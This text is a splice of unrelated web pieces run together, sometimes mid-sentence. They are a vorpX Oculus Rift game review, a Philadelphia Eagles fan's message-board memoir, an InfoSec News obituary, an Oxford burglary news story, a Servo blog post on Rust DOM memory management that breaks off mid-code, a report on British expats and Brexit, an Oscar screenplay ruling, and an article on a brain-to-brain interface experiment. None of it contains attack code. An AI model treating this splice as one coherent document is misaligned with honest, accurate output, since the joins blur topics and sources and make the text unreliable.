through this game I'll have to try it with vorpX for that true sense of immersion as it did feel pretty cool.Time for some Mass Effect 2 this time, loading up the game and skipping all the intro cut scenes (well, actually I had to sit through and watch them since I couldn't seem to skip them in any way) I started aboard the Normandy while it was being destroyed by some alien craft. This does look pretty cool in the Rift! With everything on fire and explosions going on there's plenty to look at and Commander Shepard in front of you does look 3D though some of the level geometry looks a little flat in comparison.When I got to the broken hull of the ship and looked up to the planet there was a real sense of scale and it looked amazing. This segment is rather short however and it was interrupted by a cutscene which didn't quite work well in the Rift since it's been designed so you should see the whole screen, not just the area towards the centre.Then I jumped in to the first bit of actual gameplay, head tracking works quite well in Mass Effect 2, you're effectively just making mouse movements with your head (and can use the mouse at the same time), looking around and aiming with the head tracking and mouse combined felt quite natural and I was able to aim at enemies and shoot them with ease.After a couple of minutes the game was prompting me to select a certain on screen icon however which was well outside my view so I quit out here, not vorpX's fault really, just couldn't see what I had to click on! I also played this in 1280x800 which to me seems the most natural when using vorpX though it still had that vertical scaling which should be remedied by using a 5:4 or 3:4 aspect (if I can get those looking correct, which I believe will also require manually setting the FOV to look right in the Rift).I've been wanting to try Left 4 Dead in the Oculus Rift since I first saw Half-Life 2 got semi-official support, I've been waiting for Valve to roll out the SteamPipe Beta to more of their games which is inevitably coming but in the meantime I now have vorpX to play with!I loaded up the game, chose one of the single player campaigns and jumped straight in. I noticed my framerate was a little low but it seemed to settle a little, only later did I realise I was playing at 1920x1080 and recording the gameplay video to disk at the same time so apologies if the next gameplay vid is a little jumpy.The depth wasn't quite as noticeable playing Left 4 Dead with vorpX. Standing close up to characters you could see all the detail and there was definitely some depth to the image but overall I think it felt more like playing the game on a huge cinema screen. There was some level of immersion but most impressively to me was how the image looked fully correct and not warped at all. You have to think, if this was just Side-By-Side 3D it would look horribly warped and out of scale in the Rift but this looked great, for a non-native implementation it's pretty cool!I played Left 4 Dead for a few minutes, decided to take on the Witch towards the end, she wasn't so tough though :-pI also had a play on FEAR, FarCry, Trine, and Sanctum, each of which worked well but the FOV felt wrong in FarCry compared to all the other games I've tried. I'll likely cover these games in more detail with vorpX over the next few days.Overall I've really enjoyed playing these games with vorpX, it's default Z-buffer mode should work with almost any DirectX 9+ game though it did seem to crash when loading up some other games in my Steam library (Max Payne, Supreme Commander 2, Counter-Strike: Global Offensive). Even though the image may not be true 3D, even just being able to play these games in the Oculus Rift without inducing headaches and nausea should make vorpX an essential piece of software for any Oculus Rift user to own! I hope to play many more games over the next few days with vorpX. I'll have to try out the geometry mode in a game that's a little less taxing, perhaps with Portal and will also try on my MacBook Pro to see if that is any more capable of maintaining a higher framerate.The 2002 season was a lot of fun for Eagles fans. The team went 12-4. They won with Donovan McNabb, Koy Detmer, and even AJ Feeley. The offense set a franchise record for points scored. The defense was great. STs were a weapon back then. Life was good right up until that fateful day when the Bucs closed The Vet down with a 27-10 win. The image of Ronde Barber picking off that pass will haunt us all for a long time.
The Eagles had a pair of key free agents to deal with in the offseason. DE Hugh Douglas was coming off a 12.5 sack season. LB Shawn Barber was an athletic playmaker who led the team in solo tackles. No matter if you went to ESPN, Pro Football Weekly, The Sporting News, USA Today or wherever, Barber and Douglas were considered 2 of the Top 10 free agents in the entire league. Keeping them would keep the Eagles atop the NFC.
Since the team had lost Jeremiah Trotter in free agency the year before I was nervous about what would happen with Douglas and Barber. They were the 2 best players on the right side of the defense. You just didn’t want to lose them.
My primary sources of information back then were PhiladelphiaEagles.com, Philly.com, and the major football sites. I got plenty of good information, but there wasn’t much in the way of scoops or breaking news. There was no Twitter. There were no blogs. All the stories at that time talked about the Eagles need to re-sign Douglas and Barber, but no one gave any clues as to what was going to happen.
I was desperate to know what might be going on. While reading a story at PE.com I saw something about the message boards. I thought about checking them out, but message boards at the time had a terrible reputation (still do, mostly). Did I want to waste my time reading crap from a bunch of lunatics? The answer turned out to be “yes”. My hope was that someone on Philly TV or radio would have some inside scoop (right or wrong) that would offer insight or at least hope and that would get posted on the MB. In hindsight, I guess I was looking for Howard Eskin. That sounds so wrong, huh?
So I joined the Eagles Message Board in March of 2003. I hoped for info, but sadly didn’t find what I was looking for. I did happen to see a lot of odd questions and topics. While reading one I decided to answer somebody’s question. I don’t recall the subject, but it was something I considered obvious info. I didn’t think of it as a big deal. Then I answered another question. And another. And so on.
I never told anyone I was some football guru or anything like that. I just answered questions and offered my opinions. My username “goeagles99” became pretty well known inside of the first couple of months I was on the EMB. The team lost Douglas and Barber in FA. The team signed Nate Wayne and traded for Mark Simoneau. Being the nut-job I am, I watched game tape of them from 2002 and posted my thoughts. EMBers weren’t used to having someone that kept game tapes from other teams laying around for such purposes.
The season started and I began writing my Detailed Game Reviews. That was something else that just hadn’t gotten done before. Who had the time or desire to study a game and write several thousand words on it? A nut-job like me. I began writing a lot about the draft after the season. One day I posted some pre-Combine notes. That got a good response. I wrote a long draft preview for the EMB and one of the guys I listed as a favorite player was OT Trey Darilek. The Eagles then took him in the 4th round. That made people realize I wasn’t totally a nut-job. I actually had some idea what I was talking about.
I continued writing about the Eagles and the draft on the EMB. In the summer of 2004 I started a simple thread in TATE (Talk About The Eagles) called Eagles Blog. The initial discussion was about the Eagles DL. That thread lasted until April of 2009. It turned into a brilliant discussion. I might have started the discussion, but there was great insight coming from all over. PhillyPhreak54 was the Training Camp guru. shlynch (Sam) was the contracts/cap expert. justrelax was the OL guru. There were other posters who kept the conversation smart and interesting. Flying Dutchman was the strength training guru. FranklinFldEBUpper was the STs guru. Guys like rhino, mcud, SwamiStubbs, mrmulti, SarasotaPhil, Matt, dukebowden, RealCrippler, InfiniteSeriesN, baloophi, austinfan, eaglesnut and TSOP were huge contributors. I’m leaving out dozens more. The blog truly became a great place for information and opinions.
In late 2005 I launched ScoutsNotebook.com with a friend from the EMB, Matt Alkire. Sometime in the spring of 2007 I began talking to Dave Spadaro about writing a column for PE.com. That came to fruition as the season opened. I wouldn’t have gotten the column if not for the support of many EMB readers. They were the ones who really sold Dave on the idea. I think NYC Eagle was the guy who was the most relentless.
With stuff on the EMB, PE.com, and ScoutsNotebook, I figured it would be smart to start a blog so I could point people to my content from one central location. I started EaglesBlitz in September of 2008. It looks like an assignment that a 4th grader would get a C+ on, but my intent wasn’t to have that turn into a major project. In March of 2009 I broke a story about Sheldon Brown getting deal to Cleveland and my traffic jumped substantially. At that point I realized I needed to have a decent looking blog. After the 2009 draft, my old buddy Sam approached me about joining Iggles Blog. That seemed like an ideal fit and so I jumped right over there. That was great, but lasted for less than a full year. Derek was the leader of Iggles Blog and the birth of his second child made him decide that either the site or the family had to be put on the back-burner. I’m assuming he flipped a coin and the family won out so Iggles Blog was no more.
I spent a couple of months writing for BGN before starting Iggles Blitz in the spring of 2011. I still write for PE.com. I still run ScoutsNotebook. I did mix in a short stint at The Huffington Post as well, but that seemed like an odd spot for draft info so I focused on the sites where I felt a better connection.
None of this wouldn’t have happened if not for the EMB. People love to make fun of message boards, but joining the EMB had a profound effect on me. It gave me an outlet to do some writing. I have been studying the draft and free agents since the 1990’s. I just never had a place to share my thoughts. I studied Ian Beckles when the Eagles signed him. I remember getting excited when the team made a play for DE Simon Fletcher. I was fired up when we signed DT Bill Johnson in March of 1998. I have legal pads with notes on the draft prospects I liked and disliked. I hated the Todd Pinkston and Freddie Mitchell picks. Derrick Burgess was my favorite player in the entire 2001 draft. I was blown away when the Eagles took him. Corey Simon was a no-brainer. Back then I just yelled this stuff at the TV or mentioned it to friends. Living in NC, I didn’t have a lot of Eagles pals to discuss players with.
There are plenty of bad message boards out there. The EMB isn’t one of them. The Eagles promoted it, ran it well, and made it a good place. Kudos to Dave Spadaro, his staff, and the Moderators for that. Kudos to Jeff Lurie or whomever in the organization let the Eagles spend time and money on the EMB. Not all 32 teams had a MB back then, let alone a good one.
Think about the Eagles Blog thread I mentioned earlier. I was in there. So was Sam. There was an author (Tom McCallister). There was a successful television writer and author. There was a documentary filmmaker. Lawyers. Corporate types. Professors. This wasn’t a bunch of guys screaming “Reid suckz!!!” over and over. Those people existed, but they are everywhere. There was plenty of good content and plenty of good people. I loved my time on the EMB. I’ve been inactive for a couple of years, but only because of time limitations.
I can’t tell you all the friends I’ve made from the EMB. I’ve gone to Eagles games with them. I’ve gone to Training Camp with them. I’ve met them for drinks in NC, PA, and out in L.A. I’ve had long phone conversations with them. These friendships began online, but were great when we met in person. I can honestly say that I’ve not run into a single bad person from the EMB. If anything, we get along even better in person than online.
Here is a picture of me (black t-shirt) and the “Welcoming Committee”, a group of Eagles tailgaters that made sure visiting teams felt welcome as they drove into The Linc. This was from my first Eagles game, a MNF win over the Vikings in September 2004. You simply can’t go wrong hanging out with Jay, Bob, Chris, Sean, Travis, Mike, and the rest of the gang. Great guys.
I don’t know where I’ll be in 10 years. Back in 2003 when I signed up as goeagles99 I sure didn’t expect to have a blog where 6,000 people gathered every day to discuss the Eagles.
Thanks for a decade of great memories and friendships. Can’t wait to see what the future holds.
* * * * *
For those who are from the EMB, let’s take a little trip down memory lane.
* Back in March of 2004 the Eagles were trying to get TO. He was trying to get to Philly. The media did a terrible job of covering this situation. There was a poster on the EMB who provided the best insight. I think the poster was named Muzzy or something like that. He/she was a lawyer and took a look at TO’s contract, which somehow had gotten online. The consensus was that TO’s agent, David Joseph, had royally screwed up. TO had the right to void his deal. The cut-off date for him doing this came in late Feb. or early March. The date for using the franchise tag came before that cut-off date. For some reason, everyone thought the agent a fool. His client’s date came too late. But that was backward thinking. As the EMB poster explained, it was the Niners who screwed up, not the agent. The date for designating franchise players could come and go and then TO could opt out, making him a totally unrestricted free agent. I remember reading this on the EMB at 3am one night and being blown away. The NFL could not get around this. It was SF’s mistake. The Eagles agreed to the trade to help the league and Niners save face.
* Every summer Dave Spadaro would host the EMB Moderators up at Lehigh for a day. He’d take them out to lunch and get them special field passes. I really can’t imagine any other NFL team doing this. Great job by the Eagles. In 2006 the Mods were on the sideline watching practice when Tom Heckert’s phone rang. He was standing right by them. A guy known as Fast Freddie looked at Heckert and said “I hope that call is about a WR.” Absolutely classic. And we did deal for Donte Stallworth about a week later so who knows.
* My friend Allez Aigles got quoted in the newspaper a couple of times. That drove me nuts. I was desperate to get quoted, but that never happened.
* Back in 2004 we started keeping track of which players the Eagles met with prior to the NFL Draft. That is done now all over the place, but I think a guy named MuddyWaters20 was the first to do it. Kudos to him.
* A guy named TransplantedEaglesFan led philosophical discussions on a regular basis. I think he called it the Question of the Day or something like that. Really smart guy. Also loved arguing with him about Oliver Stone and movies in general.
* While the EMB was a source of much great Eagles and football discussion, it also led to some insanity. A guy named Hollywood Freddie innocently started a thread called The Logic of the Bucs. He was confused by some dumb moves the organization made. Me and a guy named MDS hijacked the thread to use it for our personal insanity. We had odd senses of humor (to put it mildly) and would just post oddball thoughts in there. That was great fun for a week. Then MDS got banned. I couldn’t let The Logic of the Bucs go to waste so djbigf and I turned it into a picture thread. We decided to post pics of hot celebrities from each decade. We started in the 40s or 50s with Lauren Bacall, Jane Russell, Marilyn and then worked up through the 1970s. Anyone could go find pics of Jennifer Anniston or some current babe. We wanted to focus on the Claudia Cardinale’s of the world.
The thread was entertaining and kinda cool if you liked older movies and retro stuff. djbigf is the king of pop culture knowledge, for the EMB and maybe Earth. One day a guy saw the pics and decided to add his own. In came raunchy babes with huge fake boobs. Another guy started adding girls with enormous butts. The thread went completely sideways at that point. Soon enough, a few naked pics got posted. That was a major no-no on the EMB. For some reason, no Mod saw them and no one told the Mods about them. That went on for maybe a week. Then things got really odd. A Giants fan posted a picture of a naked guy. That was brilliant and evil. We couldn’t tell the Mods to take it down. They’d see the naked ladies and close the whole thread. So for several days, if not a week, there was a picture of a naked man on the EMB. It was buried in a long, long thread, but that was pretty classic. The Logic of the Bucs might be the greatest EMB thread of them all.
* And now for random names/phrases that will only make sense to the EMBers…
URLAKERZZZ!!!!
Jordan Taber
His name was Robert Paulson
gbee
Aces 4 Eva
Mod points
mr hunt
RIP Herb and Pat
Phil’s son invites the garbageman to dinner
Just PM Prophet 215 if you have any questions
_Information Security News mailing list archives
By Date By Thread Shon Harris - March 27th, 1968 ~ October 8th, 2014 From: InfoSec News <alerts () infosecnews org>
Date: Wed, 15 Oct 2014 08:50:01 +0000 (UTC)
http://www.affoplano.com/component/obituary/?view=detail&id=452 After a long and devastating illness, Shon passed away on October 8, 2014. Shon founded and was CEO of Logical Security, an information consultant, a former engineer in the Air Force Information Warfare unit, instructor and best-selling author of many books on IT Security. Shon was recognized as one of the top 25 women in the Information Security field. Shon's family and friends have always been proud of Shon and have loved her. That clever wit and her humorous stories were always a treat. Shon was very generous to many people and causes throughout her life. We will all miss her in our many, individual ways. Her mother is not alone when she says there is now a hole in her heart. Shon leaves the following family behind, Aunts Diane (John) Marshall and their children and grandchildren, Kristy (David) Gorenz and their children and grandchildren, Brothers and sisters Kevin Conlon (Kim), Brian Conlon, John (Debbie) Conlon, Brendan (Jamie) Conlon, Tanya (Mark) Abrams and Erica Stigleman and her children, Father Lance Foster and Mother Kathy Conlon. Shon is meeting dad, Thomas Conlon, grandparents George and Marge Fairbairn in heaven. -- Evident.io - Continuous Cloud Security for AWS. Identify and mitigate risks in 5 minutes or less. Sign up for a free trial @ https://evident.io/ By Date By Thread Current thread: Shon Harris - March 27th, 1968 ~ October 8th, 2014 InfoSec News (Oct 15)A homeless woman has been hailed a hero after bravely confronting a burglar who almost got away with with thousands of pounds worth of shop goods.
Staff at LUSH soap shop in Oxford were stunned to discover they had been burgled in the early hours of Wednesday.
The store laptop was missing, as well as expensive soaps and products.
But they were even more shocked when homeless woman Lottie, who often sleeps outside the Cornmarket Street shop, popped in the next day to say she had rescued the goods.
Last night a LUSH fundraising campaign for Lottie and the city's home had raised more than £3,000.
Manager James Atherton said Lottie's suspicions had been aroused when a man approached the shop at about 3am.
The 26-year-old from Abingdon Road said: "She saw this man trying to get in and she knows all of us as well as our delivery drivers so she knew he was not a LUSH guy.
"She went up and asked where he was from and tested him by asking if he was waiting for Ben the manager.
"He said he was but there is no Ben who works here, so she knew something was wrong.
"He then went away and we are not sure how he got in, the police are still looking into that.
"But when he came out with our laptop and about £1,000 worth of products she confronted him and said she knew he was not from LUSH.
"He was so surprised about it he gave her all the stuff and then ran off."
Lottie was accompanied by her huge dog Marley, who was instantly suspicious of the man trying to get in to the popular soap shop and growled at him as he left the store.
When Mr Atherton and his staff came in to work later they discovered the theft and were still counting the cost of the stolen items when Lottie returned them the next day.
Trainee manager Rachel Ross said staff were "blown away" by what Lottie had done.
Miss Ross, 23, added: "Marley is very well known and very friendly.
"One of the reasons Lottie was nervous of this man was because Marley started growling -she knew he didn't trust him."
LUSH staff have given Lottie a huge hamper full of food and treats to say thank you, and a fundraising page has been set up to raise money for Lottie and for homeless charities in the city.
Miss Ross said: "Lottie is a beautiful lady and we know her well. We just know her as Lottie and don't even know how old she is.
"We are one of the only shops in Oxford where people don't pee in our doorway because she protects us.
"We were greatly moved by her selfless actions in protecting us, and want to thank her from the bottom of our hearts.
"Homeless budgets are continually being cut and services destroyed in Oxford.
"There is dwindling support for vulnerable people and we must fight it.
"It is our responsibility to speak out, volunteer, become active in challenging these governmental cuts, and the stigma against homeless people."
Thames Valley Police spokesman Gareth Ford-Lloyd said: "We were called to an attempted burglary at a business property in Cornmarket Street, Oxford, at about 3.30am on Wednesday.
"There were reports that goods and a laptop had been taken.
"These were reportedly returned by a member of the public.
Mr Ford-Lloyd added officers were continuing to investigate the incident.
If you know Lottie call the Oxford Mail newsdesk on 01865 425445 or email [email protected]
To donate to Lottie click here.by Josh Matthews and Keegan McAllister
A web browser’s purpose in life is to mediate interaction between a user and an application (which we somewhat anachronistically call a "document"). Users expect a browser to be fast and responsive, so the core layout and rendering algorithms are typically implemented in low-level native code. At the same time, JavaScript code in the document can perform complex modifications through the Document Object Model. This means the browser’s representation of a document in memory is a cross-language data structure, bridging the gap between low-level native code and the high-level, garbage-collected world of JavaScript.
We’re taking this as another opportunity in the Servo project to advance the state of the art. We have a new approach for DOM memory management, and we get to use some of the Rust language’s exciting features, like auto-generated trait implementations, lifetime checking, and custom static analysis plugins.
Memory management for the DOM
It’s essential that we never destroy a DOM object while it’s still reachable from either JavaScript or native code — such use-after-free bugs often produce exploitable security holes. To solve this problem, most existing browsers use reference counting to track the pointers between underlying low-level DOM objects. When JavaScript retrieves a DOM object (through getElementById for example), the browser builds a "reflector" object in the JavaScript VM that holds a reference to the underlying low-level object. If the JavaScript garbage collector determines that a reflector is no longer reachable, it destroys the reflector and decrements the reference count on the underlying object.
This solves the use-after-free issue. But to keep users happy, we also need to keep the browser’s memory footprint small. This means destroying objects as soon as they are no longer needed. Unfortunately, the cross-language "reflector" scheme introduces a major complication.
Consider a C++ Element object which holds a reference-counted pointer to an Event :
struct Element { RefPtr<Event> mEvent; };
Now suppose we add an event handler to the element from JavaScript:
elem. addEventListener ( 'load', function (event) { event. originalTarget = elem; });
When the event fires, the handler adds a property on the Event which points back to the Element. We now have a cross-language reference cycle, with an Element pointing to an Event within C++, and an Event reflector pointing to the Element reflector in JavaScript. The C++ refcounting will never destroy a cycle, and the JavaScript garbage collector can’t trace through the C++ pointers, so these objects will never be freed.
Existing browsers resolve this problem in several ways. Some do nothing, and leak memory. Some try to manually break possible cycles, by nulling out mEvent for example. And some implement a cycle collection algorithm on top of reference counting.
None of these solutions are particularly satisfying, so we’re trying something new in Servo by choosing not to reference count DOM objects at all. Instead, we give the JavaScript garbage collector full responsibility for managing those native-code DOM objects. This requires a fairly complex interaction between Servo’s Rust code and the SpiderMonkey garbage collector, which is written in C++. Fortunately, Rust provides some cool features that let us build this in a way that’s fast, secure, and maintainable.
Auto-generating field traversals
How will the garbage collector find all the references between DOM objects? In Gecko‘s cycle collector this is done with a lot of hand-written annotations, e.g.:
NS_IMPL_CYCLE_COLLECTION(nsFrameLoader, mDocShell, mMessageManager)
This macro describes which members of a C++ class should be added to a graph of potential cycles. Forgetting an entry can produce a memory leak. In Servo the consequences would be even worse: if the garbage collector can’t see all references, it might free a node that is still in use. It’s essential for both security and programmer convenience that we get rid of this manual listing of fields.
Rust has a notion of traits, which are similar to type classes in Haskell or interfaces in many OO languages. A simple example is the Collection trait:
pub trait Collection { fn len ( & self ) -> uint ; }
Any type implementing the Collection trait will provide a method named len that takes a value of the type (by reference, hence &self ) and returns an unsigned integer. In other words, the Collection trait describes any type which is a collection of elements, and the trait provides a way to get the collection’s length.
Now let’s look at the Encodable trait, used for serialization. Here’s a simplified version:
pub trait Encodable { fn encode < T : Encoder > ( & self, encoder : & mut T ); }
Any type which can be serialized will provide an encode method. The encode method itself is generic; it takes as an argument any type T implementing the trait Encoder. The encode method visits the data type’s fields by calling Encoder methods such as emit_u32, emit_tuple, etc. The details of the particular serialization format (e.g. JSON) are handled by the Encoder implementation.
The Encodable trait is special, because the compiler can implement it for us! Although this mechanism was intended for painless serialization, it’s exactly what we need to implement garbage collector trace hooks without manually listing data fields.
Let’s look at Servo’s implementation of the DOM’s Document interface:
#[deriving(Encodable)] pub struct Document { pub node : Node, pub window : JS < Window >, pub is_html_document : bool,... }
The deriving attribute asks the compiler to write an implementation of encode that recursively calls encode on node, window, etc. The compiler will complain if we add a field to Document that doesn’t implement Encodable, so we have compile-time assurance that we’re tracing all the fields of our objects.
Note the difference between the node and window fields above. In the object hierarchy of the DOM spec, every Document is also a Node. Rust doesn’t have inheritance for data types, so we implement this by storing a Node struct within a Document struct. As in C++, the fields of Node are included in-line with the fields of Document, without any pointer indirection, and the auto-generated encode method will visit them as well.
A Document also has an associated Window, but this is not a containing or "is-a" relationship. The Document just has a pointer to a Window, one of many pointers to that object, which can live in native DOM data structures or in JavaScript reflectors. These are precisely the pointers we need to tell the garbage collector about. We do this with a custom pointer type JS<T> (for example, the JS<Window> above). The implementation of encode for JS<T> is not auto-generated; this is where we actually call the SpiderMonkey trace hooks.
Lifetime checking for safe rooting
The Rust code in Servo needs to pass DOM object pointers as function arguments, store DOM object pointers in local variables, and so forth. We need to register these additional temporary references as roots in the garbage collector’s reachability analysis. If we touch an object from Rust when it’s not rooted, that could introduce a use-after-free vulnerability.
To make this happen, we need to expand our repertoire of GC-managed pointer types. We already talked about JS<T>, which represents a reference between two GC-managed DOM objects. These are not rooted; the garbage collector only knows about them when encode reaches one as part of the tracing process.
When we want to use a DOM object from Rust code, we call the root method on JS<T>. For example:
fn load_anchor_href ( & self, href : DOMString ) { let window = self. window. root (); window. load_url ( href ); }
The root method returns a Root<T>, which is stored in a stack-allocated local variable. When the Root<T> is destroyed at the end of the function, its destructor will un-root the DOM object. This is an example of the RAII idiom, which Rust inherits from C++.
Of course, a DOM object might make its way through many function calls and local variables before we’re done with it. We want to avoid the cost of telling SpiderMonkey about each and every step. Instead, we have another type JSRef<T>, which represents a pointer to a GC-managed object which is already rooted elsewhere. Unlike Root<T>, JSRef<T> can be copied at negligible cost.
We shouldn’t un-root an object if it’s still reachable through JSRef<T>, so it’s important that a JSRef<T> can’t outlive its originating Root<T>. Situations like this are common in C++ as well. No matter how smart your smart pointer is, you can take a bare reference to the contents and then erroneously use that reference past the lifetime of the smart pointer.
Rust solves this problem with a compile-time lifetime checker. The type of a reference includes the region of code over which it is valid. In most cases, lifetimes are inferred and don’t need to be written out in the source code. Inferred or not, the presence of lifetime information allows the compiler to reject use-after-free and other dangerous bugs.
Not only do lifetimes protect Rust’s built-in reference type, we can use them in our own data structures as well. JSRef is actually defined as
pub struct JSRef < 'a, T > {...
T is the familiar type variable, representing the type of DOM structure we’re pointing to, e.g. Window. The somewhat odd syntax 'a is a lifetime variable, representing the region of code in which that object is rooted. Crucially, this lets us write a method on Root with the following signature:
pub fn root_ref < 'a > ( & 'a self ) -> JSRef < 'a, T > {...
What this syntax means is:
<'a> : "for any lifetime 'a ",
: "for any lifetime ", (&'a self) : "take a reference to a Root which is valid over lifetime 'a ",
: "take a reference to a which is valid over lifetime ", -> JSRef<'a, T> : "return a JSRef whose lifetime parameter is set to 'a ".
The final piece of the puzzle is that we put a marker in the JSRef type saying that it’s only valid for the lifetime corresponding to that parameter 'a. This is how we extend the lifetime system to enforce our application-specific property about garbage collector rooting. If we try to compile something like this:
fn bogus_get_window < 'a > ( & self ) -> JSRef < 'a, Window > { let window = self. window. root (); window. root_ref () // return the JSRef }
we get an error:
document.rs:199:9: 199:15 error: `window` does not live long enough document.rs:199 window.root_ref() ^~~~~~ document.rs:197:57: 200:6 note: reference must be valid for the lifetime 'a as defined on the block at 197:56... document.rs:197 fn bogus_get_window<'a>(&self) -> JS
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short-changed on this deal.
Richards has her job to consider. “A lot of the property here is sold to Brits: they’re a big market. It’s easy to buy at the moment, and if the EU regulations no longer applied then it would definitely make the process of buying more complicated.
“I think if we come out of Europe, Brits won’t buy any more. There will be extra taxes. I’ve lived here for seven years, and I have had to work really, really hard to get a good job. You start at eight and you work until eight, but a few years ago I tried to move back to Wales and I was told by the council I might as well get myself a cardboard box to live in and there was no work.”
She doesn’t intend to vote in the referendum – something which upsets Libby, a retired midwife from Lancashire, who splits her time “50‑50” between Spain and the UK. She rents a flat here but says she doesn’t live here permanently because insurers in the UK demand you spend at least six months in the country.
Facebook Twitter Pinterest British expat Richie Hart outside his Welsh-themed bar. Photograph: Andy Hall for the Observer
“I voted for the Common Market when I was 18. I’ll vote to stay in now. If we leave, we are not going to have any links anywhere any more. We’ve no industry, we’re just a service industry.
“But the sad thing is that British people will just vote the way they are told to vote by the Sun or the Star or the Mail, because the majority won’t think for themselves or even bother to vote at all.
“Out here, a lot of people won’t bother to register to vote. What you find is that you talk about Brexit and everyone starts talking about migrants. The British are the only ones who don’t understand that the migrant thing is going to happen whether we’re in the EU or not.”
However, she does feel the welfare state in the UK is skewed towards immigrants. Next to her, an Englishman who lives in Spain, who doesn’t want to be named, says that David Cameron has let too many immigrants get the vote, meaning it’s more likely that Britain will stay in. “It’s in their interest to send all the money back to their families, so British people don’t stand a chance.” Does he vote in Spain? “I’m not taking Spanish citizenship, I’m English!”
For bar manager Richie Hart, the fears are economic. “Our regulars are already suffering because as soon as talk of the referendum started the euro rates went down, so people getting their money from Britain get less. This is no dream life out here: we work very hard and can’t afford to employ anyone – the costs of that are really high in Spain. Nor do the Spanish care if we succeed or not. If I have to hand the lease back, the government will get a cut from the lease being sold on again, so why would they care? If leaving the EU has a big effect on the bars then we’d have to get other jobs. We can’t go back: the employment situation in south Wales, where I’m from, is nine out of 10 men out of work.”
Next door to Hart of Wales is Paddington’s, where Rick Wiles is minding the bar for his friend. He left Wilmslow, Cheshire, for Spain 25 years ago and retired eight years ago. He is fluent in Spanish and has no desire to go back to the UK and what he sees as its CCTV culture.
“There’s nothing cataclysmically different about living here than anywhere else in the world, but it suits me: it’s warm. Nobody has a blind bloody clue of what will happen, but it’s not going to affect me. I don’t own a property and I don’t take my British pension.
“The Spanish don’t give a monkey’s, they don’t support every migrant from the rest of Europe like Britain does – they blame the English for everything that goes wrong, but it makes no sense to make life difficult for people living here.
“The best thing for the British economy would be to get out of the EU. We’re in for the wrong reasons. The Common Market was designed by politicians to keep Russia out and now the reason has gone. My view of Brussels is that the more institutions you have, the more money you spend that need not be spent.”
Nine EU nations have 20,000 or more British residents. But among the millions of British people living abroad, Spain is the most popular European country followed by Ireland and France. British children make up almost 20% of the immigrants in Málaga’s schools, by far the largest group. About 3,000 UK nationals get unemployment benefits in Spain.
Natalie Mills, 21, works in an Irish pub in Torremolinos and went to school here after her family moved out in 2000. “My mum and dad are a bit worried now the polls are moving to show [Brexit] could happen. I don’t know if they’ll kick us out. My brother was born here, so he has a right to stay, but I don’t know if I would. I haven’t got a resident’s permit yet, but I’m applying for one now. But all the bars here really rely on British people coming here – so if it was harder for them to come, that’s a whole part of the economy that’s going to crash.”
There will be some anxious faces glued to the television screens in Paddington’s come 23 June.EXCLUSIVE: In a surprising development that could affect for Original and Adapted Screenplay Oscar races, the Academy of Motion Pictures Arts and Sciences has confirmed that A24’s Moonlight and Focus Features’ Loving — both of which were being campaigned for Original Screenplay and determined to be originals by the Writers Guild in their WGA Awards — have been ruled out of that Oscar category. Instead, the Academy’s writers branch ruled them eligible only in the Adapted Screenplay Oscar race. This is not the first time the Academy and the WGA have disagreed on what is an Original versus Adapted screenplay, but it is rare and certainly confuses the situation.
Focus Features
In the case of Moonlight, it is based on a stage piece, In Moonlight Black Boys Look Blue, that never was officially produced. That show’s writer, Tarell Alvin McCraney, has a Story By credit on the film’s script that was written, and extensively reworked, by Barry Jenkins, who also directed the film. Jenkins split the original into three distinct chapters, differing in many ways from the specific play McCraney had written. In the case of Loving, the story of the interracial marriage that defied Virginia law and went all the way to a landmark 1967 decision by the Supreme Court, it is an original screenplay by Jeff Nichols but was originally developed as a 2011 HBO documentary, The Loving Story, by writer-director Nancy Buirski, She has a producer credit on the new film that stars Joel Edgerton and Ruth Negga, both nominated for Golden Globes this week. The Academy has determined that both sufficiently are based on pre-existing material to be classified as adaptations rather than originals.
What does this mean for the Oscar writing race? It considerably opens up the field for Original Screenplay, where Moonlight was considered one of the front-runners, along with Manchester by the Sea and La La Land. Such scripts as Hell or High Water, Toni Erdmann, Zootopia, Jackie, The Lobster, Captain Fantastic and 20th Century Women among others also are fighting for a slot now. This development also shakes up the seemingly less competitive Adapted Screenplay contest, which didn’t have the three presumed Best Picture front-runners (La La Land, Moonlight, Manchester by the Sea) to contend with and instead saw such films as Lion, Fences, Silence, Nocturnal Animals, Sully, Arrival, Hacksaw Ridge and Hidden Figures topping the list of most pundits’ projections. With Loving, and particularly Moonlight now switching to Adapted, things are really shaking up there, and A24 and Focus will have to adjust their campaigns. Moonlight likely becomes the instant front-runner for Adapted Screenplay, and things just got a little easier for La La Land and Manchester by the Sea in the Original Screenplay race. Both tied for the Critics’ Choice Award on Sunday night in that category.Mind control? Not exactly.
Image courtesy of the University of Washington
It’s tempting to call this telepathy, or mind control, or a Vulcan mind-meld. It isn’t any of those things. But it is still a head-spinning technological stunt, especially if you haven’t been closely following all of the incremental advances that have made it possible.
On Aug. 12, a University of Washington computer science professor sat at a desk looking at a computer game and imagined moving his right hand to hit the “fire” button on a virtual cannon. In another office across campus, a second researcher sat with his hand poised above a keyboard, not looking at his own computer screen. At the moment that the first researcher imagined moving his hand, the second researcher’s finger moved involuntarily, hitting the space bar. One man’s mind moved another man’s body.
The mechanism behind the feat is less magical than you might imagine. As explained in the University of Washington press release, the first researcher, Rajesh Rao, wore an electroencephalography (EEG) cap, which detects electrical activity in the brain. This was hooked up via the Internet to a transcranial magnetic stimulation (TMS) device that was placed on the head of the second researcher, Andrea Stocco. The magnetic coil, designed to stimulate activity in a given part of the brain, was positioned directly above Stocco’s motor cortex. When Rao imagined moving his hand, that triggered the magnetic stimulation of Stocco’s brain, and his finger moved. Stocco compared the feeling to that of a nervous tic.
This is the latest “first” in a field that has been brimming with them. Researchers have been working for decades on ways to read people’s brain signals, with varying success. The most impressive results so far have come from experiments in which electrodes are surgically implanted in the subject’s brain. But most people don’t want brain surgery, which is why the experiments tend to use monkeys or rats. The University of Washington experiment may be the first in which one human’s brain signals triggered another human’s physical response using only non-invasive technologies, like the EEG cap and the TMS coil.
That’s a significant step. But comparing this to “mind control” obscures a very important limitation of the technology: It can’t actually read anyone’s thoughts, let alone control them. Far from reading people’s minds, EEG caps so far can only crudely detect the general area of the brain in which electrical activity is occurring. Likewise, TMS coils can stimulate activity in a particular area of the brain, but they can’t specify what type of activity it should be. A burst of stimulation was apparently sufficient to make Rocco’s finger move, but if that finger weren’t already poised over the space bar, there’s no way TMS could guide it there. And the setup can’t provide any feedback about Rocco’s brain to Rao’s, so Rocco had no direct way of knowing whether his thoughts actually had any effect. As Rao said in a statement: “This was basically a one-way flow of information from my brain to his. The next step is having a more equitable two-way conversation directly between the two brains.”
